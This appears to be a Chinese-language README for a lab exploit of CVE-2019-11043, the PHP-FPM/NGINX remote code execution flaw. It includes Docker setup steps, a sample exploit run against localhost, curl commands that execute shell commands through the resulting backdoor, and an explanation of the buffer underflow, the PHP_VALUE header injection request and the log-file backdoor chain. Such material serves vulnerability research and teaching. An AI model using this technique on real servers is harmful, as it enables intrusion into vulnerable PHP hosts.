CVE-2019-11043 漏洞利用的 Python 实现
该漏洞被记录为 CVE-2019-11043,它利用了 PHP-FPM 在与 NGINX 服务器配合使用时实现中的一个缺陷。在某些配置下,FastCGI 的 path_info 中的正则表达式会导致 FPM 模块写出已分配的缓冲区,写入为 FastCGI 协议数据预留的空间。因此,Web 用户可能可以在远程执行代码。下表展示了根据通用漏洞评分系统(CVSS)对该漏洞严重程度的评估。
| 指标 | 值 |
|---|---|
| 影响评分 | 5.9 |
| 基础评分 | 9.8 |
| 严重性 | 严重 |
| 访问向量 | 网络 |
| 机密性 | 高 |
| 完整性 | 高 |
| 可用性 | 高 |
Docker 镜像:
Python:
运行该项目需要安装 Docker 和 docker-compose。
从项目根目录运行以下命令,即可下载所有必需的 Docker 镜像,并按正确顺序启动容器:
docker-compose up
若要以守护进程方式运行环境,请执行以下命令:
docker-compose up -d
要停止以守护进程方式启动的环境,请执行以下命令:
docker-compose down
示例
# docker-compose up -d
Creating php ... done
Creating nginx ... done
# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Starting...
? Requesting target to find qsl candidates.
[Response] Status sode is 502 for QSL 1761. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1762. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1763. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1764. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1765. Meets criteria and added as candidate
Post processed QSL candidate(s): 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Testing found candidates
[Test] QSL Candidate: 1751
[Test] QSL Candidate: 1752
[Test] QSL Candidate: 1753
[Test] QSL Candidate: 1754
[Test] QSL Candidate: 1755
💣 Target seems vulnerable with attack parameters: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Success: Remote Code Execution exploit successfully deployed!
You should be able to run commands using:
🌍 curl http://localhost:11043/index.php?a=bin/ls+/
or
🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/
该漏洞是在 Real World CTF 2019 资格赛期间被发现的。当时,安全研究员 Andrew Danau 发现,发送换行控制字符 %0A 会在服务器代码中引发异常。
fastcgi_split_path_info 指令中的正则表达式可以被换行符(编码形式为 %0A)破坏。被破坏的正则表达式随后会导致 PATH_INFO 为空,从而触发该漏洞。
由于 env_path_info 是变量 path_info 的地址,path_info 为 0,因此 pilen 也为 0。slen 是所请求 URL 的长度。

通过精心选择 URL 路径和查询字符串的长度,攻击者可以使 path_info 精确指向 _fcgi_data_seg 结构的第一个字节。向其中写入零会使 char* pos 字段向后移动,随后的 FCGI_PUTENV 会用脚本路径覆盖某些数据(包括其他 FastCGI 变量)。利用这一技术,该漏洞可以创建伪造的 PHP_VALUE FCGI 变量,然后通过一系列精心选择的配置值实现代码执行。

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
len 是 URL 路径的长度
http://localhost:11043/index.php/TUD%0aNetSec.php 时/var/www/html/index.php/TUD\nNetSec.phpptlen 是 URL 路径中第一个斜杠之前内容的长度
http://localhost:11043/index.php/TUD%0aNetSec.php 时pt 为 /var/www/html/index.php变量 “len” 与 “ptlen” 之间的差值就是 URL 中指定路径的长度。由于这两者的路径均可控,因此变量 path_info 也是可控的。
由于路径可控,我们可以将任意地址的值设置为零(第 1222 行)。通过将目标地址的值设置为零,我们可以将 _fcgi_data_seg 结构的 char* pos 控制为零。通过这种方法,我们利用缓冲区下溢,能够将全局变量写入正确的内存空间。
在比较键之前,会先比较哈希值和长度。通过精心选择正确的请求头和键,我们能够利用请求头添加内容。根据 neex 的研究,字符串 “ebut”(会变成 HTTP_EBUT)与 PHP_VALUE 具有相同的长度和 FCGI_HASH 值。因此,向服务器发送类似于以下内容的 GET 请求
GET /index.php/PHP_VALUE%0Asession_start=1;;;
EBUT: tudda nwsec
请求头 HTTP_EBUT 便会变成 PHP_VALUE,其值为 session_start=1。
以下列表给出了攻击者在实施攻击前必须满足的必要前提条件。
第一步,我们需要找到一个查询字符串长度,使得换行控制字符 %0A 会在服务器代码中引发异常,并使服务器返回大于 500 的 HTTP 错误码。基于此信息,我们现在可以尝试写入 PHP_VALUE 并控制其内容。首先,我们尝试建立一个会话。如果成功,我们就能确认服务器存在漏洞。此时,我们知道我们能够控制 PHP 中的任意全局变量。
利用上述已建立的服务器会话,我们覆盖并设置服务器配置中的前提条件,以实现远程代码执行。该漏洞利用的作者设置了一组特殊的 PHP 配置项。他启用了自动包含功能,将路径设置为 /tmp,将日志文件地址设置为 /tmp/a,并将载荷写入日志文件。最后,PHP 文件会自动包含该日志文件,从而形成一个后门。